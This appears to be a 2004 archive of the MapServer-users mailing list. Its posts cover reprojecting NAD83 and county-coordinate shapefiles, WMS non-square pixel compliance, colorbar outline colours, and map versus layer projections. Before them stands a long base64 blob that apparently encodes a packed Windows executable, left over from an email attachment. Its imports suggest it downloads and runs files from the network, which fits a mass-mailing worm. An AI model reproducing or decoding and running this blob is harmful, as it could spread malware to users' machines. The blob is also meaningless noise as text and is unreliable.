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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAMAAAAgAACADgAAAGAAAIAAAAAA AAAAAAAAAAAAAAEAAQAAADgAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAFAAAACk8AAA6AIAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAABAAEAAAB4AACAAAAAAAAAAAAAAAAAAAABAAAAAACQAAAA kPMAABQAAAAAAAAAAAAAAKDAAAAoAAAAIAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAAgIAAAICAgADAwMAAAAD/AAD/AAAA//8A /wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHd3d3 d3d3AAAAAAAAAAAAB4iIiIiIhwAAAAAAAAAAAAc4iDM4iDcAAAAAAAAAAAAHs4MAA4OHAAAA AAAAAAAAB/8w/7A4hwAAAAAAAAAAAAe4D7//A4cAAAAAAAAAAAAHgL//v/A3AAAAAAAAAAAA Bw//v/+/AwAAAAAAAAAAAAf/v/+//7AAAAAAAAAAAAAHd3d3d3d3AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA//////////////// //////////////////////////////////////////////////////////////////////// ////////gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//+AAf//gAH//4AB//////// //////////+IwwAAAAABAAEAICAQAAEABADoAgAAAQAAAAAAAAAAAAAAAADY9AAAgPQAAAAA AAAAAAAAAAAAAOX0AACQ9AAAAAAAAAAAAAAAAAAA8vQAAJj0AAAAAAAAAAAAAAAAAAD89AAA oPQAAAAAAAAAAAAAAAAAAAb1AACo9AAAAAAAAAAAAAAAAAAAEvUAALD0AAAAAAAAAAAAAAAA AAAe9QAAuPQAAAAAAAAAAAAAAAAAACn1AADA9AAAAAAAAAAAAAAAAAAANPUAAMj0AAAAAAAA AAAAAAAAAABA9QAA0PQAAAAAAAAAAAAAAAAAAAAAAAAAAAAATPUAAFr1AABq9QAAAAAAAHj1 AAAAAAAAhvUAAAAAAACQ9QAAAAAAAJ71AAAAAAAArvUAAAAAAAC49QAAAAAAAMz1AAAAAAAA 2PUAAAAAAADo9QAAAAAAAEtFUk5FTDMyLkRMTABhZHZhcGkzMi5kbGwAZ2RpMzIuZGxsAG9s ZTMyLmRsbABTSEVMTDMyLmRsbABzaGx3YXBpLmRsbAB1cmxtb24uZGxsAHVzZXIzMi5kbGwA d2luaW5ldC5kbGwAd3NvY2szMi5kbGwAAABMb2FkTGlicmFyeUEAAEdldFByb2NBZGRyZXNz AABFeGl0UHJvY2VzcwAAAFJlZ0Nsb3NlS2V5AAAARGVsZXRlREMAAENvSW5pdGlhbGl6ZQAA U2hlbGxFeGVjdXRlQQAAAFN0ckR1cEEAAABVUkxEb3dubG9hZFRvRmlsZUEAAHdzcHJpbnRm QQAAAEludGVybmV0T3BlbkEAAABiaW5kAAAAAAAAAAAAAAAAAAAAAAAAIH4WDEfHvUuavpBQ YaeUNXYJhk26N7KhFpSrlHGlLSyePmbHDU+5OsSCrVKMZqRYAwleDhUfDAORGWVvL8J0Gj+r sZy+sE52ayNLcCReqi94rmybVT9hXmyDOU9YiDlVszkbnD8GWC3ERWaGOLZffB+er4soSS+b fRQ9MTqSk7RthcExJ69gB3W1VCWExn+kVD17kYtNW2cAdsZIMmQbag+fHzYFuJqYxXONsq0N JIaORgGSEIi6UDwQcoFTGZCtH8dCnAh8fmo9Vk53fzmIswCaHQmdqmm6klRHcI+WIsABLCCF ZElBIkQbAgRyiISDXAFItzTGtIicRS6QhDyyXRyYhXJ2rX8gigYcZb0+Ey6or0RgCyq8N0wv qh2wMjulkomOimtfNh27Lo2gPVyvAGFcVAZ1RyIkH5g6CTmkfwQpaFalmhZCK0m2n5a3B8NL iCQqEJyDwEtyxZcoCockeGgBPbc8vowlZzOjoWFsc1l3qX1sek0wXSY9QJFjTXsXsqFSekGl GI5EWT+RpC94A8OhMgu0fBDFOm28Y2tGCoSkhh4ojLk6OAF0nl1qC1FmNWEsi5SZaKiBqT2c nbB+fqFKSkKLjL47 ----------lpypufgbkuoibjjzgiwc-- From ljuvrud at info-link.net Tue Jun 8 09:37:33 2004 From: ljuvrud at info-link.net (Mike Juvrud) Date: Tue, 8 Jun 2004 11:37:33 -0500 Subject: [Mapserver-users] Projecting NAD83 to County Coordinates In-Reply-To: <20040607170004.7225.59320.Mailman@lists.gis.umn.edu> Message-ID: <002101c44d76$e71db520$e500a8c0@dieter> How to use layers with different projections (NAD83 & County Coordinates)? I would like to display using County Coordinates. Could someone provide me an example or suggestions to either project the layers on-the-fly or do some sort of projection conversion. I have 2 shapefile layers: "parcel.shp" (County Coordinates - Minnesota, Douglas County) "roads.shp" (NAD83 - UTM ZONE 15N) Here are the projection file (.PRJ) contents for each layer: *** PARCEL.PRJ *** PROJCS["Douglas County",GEOGCS["DOUGLAS COUNTY",DATUM["CUSTOM",SPHEROID["CUSTOM",6378518.001,298.257226059909]], PRIMEM["GREENWICH",0.0],UNIT["Degree",0.0174532925199433]],PROJECTION["L ambert_Conformal_Conic"],PARAMETER["False_Easting",500000.0],PARAMETER[" False_Northing",100000.0],PARAMETER["Central_Meridian",-96.05],PARAMETER ["Standard_Parallel_1",45.8],PARAMETER["Standard_Parallel_2",46.05],PARA METER["Scale_Factor",1.0],PARAMETER["Latitude_Of_Origin",45.758888888888 89],UNIT["Foot_US",0.3048006096012192]] *** ROADS.PRJ *** PROJCS["NAD_1983_UTM_Zone_15N",GEOGCS["GCS_North_American_1983",DATUM["D _North_American_1983",SPHEROID["GRS_1980",6378137.0,298.257222101]],PRIM EM["Greenwich",0.0],UNIT["Degree",0.0174532925199433]],PROJECTION["Trans verse_Mercator"],PARAMETER["False_Easting",500000.0],PARAMETER["False_No rthing",0.0],PARAMETER["Central_Meridian",-93.0],PARAMETER["Scale_Factor ",0.9996],PARAMETER["Latitude_Of_Origin",0.0],UNIT["Meter",1.0]] Will Sum, Mike Juvrud www.mudlabs.com --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.698 / Virus Database: 455 - Release Date: 6/2/2004 From ed at topozone.com Tue Jun 8 10:24:26 2004 From: ed at topozone.com (Ed McNierney) Date: Tue, 8 Jun 2004 13:24:26 -0400 Subject: [Mapserver-users] OGC compliance for WMS Message-ID: <2A6FDD75AE04BE4A9E8C918D3C09FB07705E@ptolemy.topozone.com> Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. A concrete example is the set of services provided by USGS, say something like the NED. These data are served up by ArcIMS in EPSG:4326, a geographic SRS. When they are cascaded through my UMN Mapserver WMS, I reproject them to EPSG:2163, a Lambert Azimuthal Equal Area projection. This is where the "non-square" pixels issue shows up. When a client requests data from my WMS using a bounding box in EPSG:2163, the bounding box that gets passed along to the USGS WMS will have a different aspect ratio in EPSG:4326. However, the output image aspect ratio remains fixed. Therefore, the image from the USGS WMS gets stretched. Any data that I serve up locally and overlay on the USGS image will not get stretched. The end result is that the data from the two sources will line up only in the middle of the image. The conflation gets worse the further you get from the center. The simple solution, of course, is that I serve up my data in EPSG:4326 as well. That will work in this instance, but I can see problems arising if I also want to pull in data from other WMSes that serve up data in some other SRS. -Ty ~~~~~~~~~~~~~~~~~~~~~~~~ B. Tyler Wilson USDA Forest Service North Central Research Station 1992 Folwell Avenue St. Paul, MN 55108 651-649-5189 barrywilson at fs.fed.us ~~~~~~~~~~~~~~~~~~~~~~~~ _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From Bhavana.Rakesh at noaa.gov Tue Jun 8 11:14:52 2004 From: Bhavana.Rakesh at noaa.gov (Bhavana Rakesh) Date: Tue, 08 Jun 2004 14:14:52 -0400 Subject: [Mapserver-users] setting the outline color of a colorbar Message-ID: <40C6021C.80DC6A85@noaa.gov> Hi All, I am trying to set the outline color of the individual color boxes(which makes the color bar) to the color within the box itself. Earlier in mapserver3.5 I could do it using $myClass = $layer->GetClass($j); $myClass-> set("outlinecolor",$myClass->color); In mapserver 4.1, the the layer object no longer has the outlinecolor element. I found the outline color element in the style object, and i tried the following line of code $myClass->style->set("outlinecolor", $myClass->style->color); where "outlinecolor" is a color object itself. I looks like I have to set the individual RGB values of the color object. There is a function to set the RGB colors setRGB(int red, int green, int blue); but how to I getRGB in the first place to set it? I see no function in the documentation to get the RGB values. Any pointers to get the colors will be greatly appreciated. Thanks - Bhavana From lfilak at medinaco.org Tue Jun 8 12:27:47 2004 From: lfilak at medinaco.org (Lowell Filak) Date: Tue, 08 Jun 2004 15:27:47 -0400 Subject: [Mapserver-users] what is the distinction Message-ID: <20040608192733.8AC9B1A659B@mail.medinaco.org> Map projection is the projection for the whole of the the composed map. Layer projection is the projection of the data composing the layer. If all the layers have the same projection and your not republishing the data via WMS or WFS you don't need to specify either projection as all the data fits together without needing projected. HTH Lowell The following message was sent by "boli" on Tue, 8 Jun 2004 15:3:1 +0800. > As projection object is defined both in map object and layer object, is there any distinction between those two projection object? > Thanks. > ????????????????boli > ????????????????boli611 at hotmail.com > ????????????????????2004-06-08 > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From barrywilson at fs.fed.us Tue Jun 8 12:34:33 2004 From: barrywilson at fs.fed.us (Barry Wilson) Date: Tue, 8 Jun 2004 14:34:33 -0500 Subject: [Mapserver-users] OGC compliance for WMS In-Reply-To: <2A6FDD75AE04BE4A9E8C918D3C09FB07705E@ptolemy.topozone.com> Message-ID: Ed, Thanks for the prompt response! You wrote: "A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I?" In the example I described, Mapserver is acting both as client and server. It is a client to the USGS WMS and a server of that data along with several local data layers. The local layers are not reprojected because their native projection is EPSG:2163. The NED layer from the USGS WMS is indeed reprojected from EPSG:4326 to EPSG:2163. However, it appears that the image generated by the USGS WMS was stretched, *prior* to reprojection by Mapserver, as per the WMS specification because the BBOX aspect ratio and the output width/height differ. The reason they differ is because the BBOX passed to Mapserver was based on EPSG:2163, while the BBOX that Mapserver passes to the USGS WMS is based on EPSG:4326. The issue is not that Mapserver is "filling in" to preserve the correct aspect ratio, it is that the USGS WMS doesn't and instead stretches, as per the spec. Perhaps it's simply a matter of having Mapserver, when cascading other WMSes, adjust the BBOX that it passes to those servers to essentially force *them* to fill in to maintain the correct aspect ratio so that no stretching takes place. There is a message from Arnulf Christl dated April 6, 2004 that I believe describes the same phenomenon. He wrote: "Anyway - UMN MapServer is still not implementing WMS correctly as it always returns images with "square" pixels. If you use UMN MapServer as the only service don't bother about it. If you have to combine it with other WMS it might be problematic. Its a little tricky to get the gist of this problem. Whenever you request an image which has an inconsitent aspect ratio of pixels and coordinates, UMN MapServer will cheat by adding as much map as is needed to fill up the difference until it can return "square" pixels. The OGC spec. specifies that instead the image should be stretched. If you overlay the MS' result with another WMS which does return (WMS compliant) warped images you will see the difference, whenever the client works with warped start-up parameters. In the center of the map the overlay looks good, the further you get to the border of the map the larger will be the delta." Does this help? I could include some screenshots if that would help illustrate this better. Thanks again, -Ty "Ed McNierney" , > cc: Subject: RE: [Mapserver-users] OGC compliance for WMS 06/08/2004 12:24 PM Barry - I am a little puzzled at the description of your problem. I was not under the impression that the non-square output pixel support would be related to the situation you describe. The bounding box passed to the USGS server will indeed have a different SIZE, but the EPSG:4326 image returned should be properly reprojected to the EPSG:2163 projection and each pixel should end up in the right place. I haven't played with this extensively, but I don't think you should be having a problem here - what am I missing? The support for non-square pixels, as I understand, is intended to support output devices with non-square pixels for display or print. I did not think it was related to image reprojection - after all, in the example you give, it would seem like it's the USGS ArcIMS server that's not returning the data properly. There's no request for MapServer to render non-square pixels. A non-square pixel request should result when the BBOX extents are not proportional to the WIDTH and HEIGHT request. When acting as a WMS *server*, MapServer adjusts the BBOX to the right ratio to match the WIDTH and HEIGHT, instead of stretching the output image to fit. Your example involves MapServer acting as a *client* to ArcIMS, and this incorrect behavior should not be involved. I may be missing the boat here - am I? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: mapserver-users-admin at lists.gis.umn.edu [mailto:mapserver-users-admin at lists.gis.umn.edu] On Behalf Of Barry Wilson Sent: Tuesday, June 08, 2004 11:11 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] OGC compliance for WMS I've been reading through the archives and saw a couple of threads related to Mapserver OGC compliance for WMS dated from November 03 and January 04. Has the issue of "non-square" pixels been or is it being addressed? This can be a fairly significant problem for folks who want to be able to cascade from fully compliant WMSes. 